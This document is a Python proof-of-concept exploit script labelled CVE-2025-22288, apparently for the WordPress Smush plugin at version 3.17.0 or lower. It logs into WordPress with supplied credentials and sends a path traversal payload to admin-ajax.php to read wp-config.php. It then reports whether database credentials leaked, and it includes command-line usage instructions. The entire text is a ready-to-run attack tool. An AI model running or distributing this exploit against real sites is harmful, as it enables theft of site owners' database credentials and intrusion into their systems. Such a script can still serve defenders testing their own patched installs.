CVE-2025-22288

import requests import sys # CVE-2025-22288 Path Traversal PoC # Target: WordPress with Smush plugin <= 3.17.0 def exploit_cve_2025_22288(target_url, wp_user, wp_password): """ Exploit path traversal vulnerability in Smush plugin Target: WordPress site with wp-smushit plugin <= 3.17.0 Required: High privilege WordPress user credentials """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': wp_user, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in to {target_url}...") resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Path traversal payload targeting wp-config.php # Using '.../...//' pattern to bypass basic filters traversal_payload = ".../...//.../...//wp-config.php" # Smush API endpoint for image optimization smush_url = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request exploit_data = { 'action': 'smush_optimize_file', 'file_path': traversal_payload, 'filename': 'malicious.png' } print(f"[*] Sending path traversal payload: {traversal_payload}") resp = session.post(smush_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Response received (Status: {resp.status_code})") print(f"[*] Response preview: {resp.text[:500]}") # Check if sensitive data was leaked if 'DB_NAME' in resp.text or 'DB_USER' in resp.text: print("[!] VULNERABLE! Database credentials leaked!") return True elif resp.text and len(resp.text) > 100: print("[!] Potential file content leaked - manual verification needed") return True print("[-] Exploitation may have failed or target is patched") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <wp_user> <wp_password>") print(f"Example: python {sys.argv[0]} http://example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] exploit_cve_2025_22288(target, user, password)

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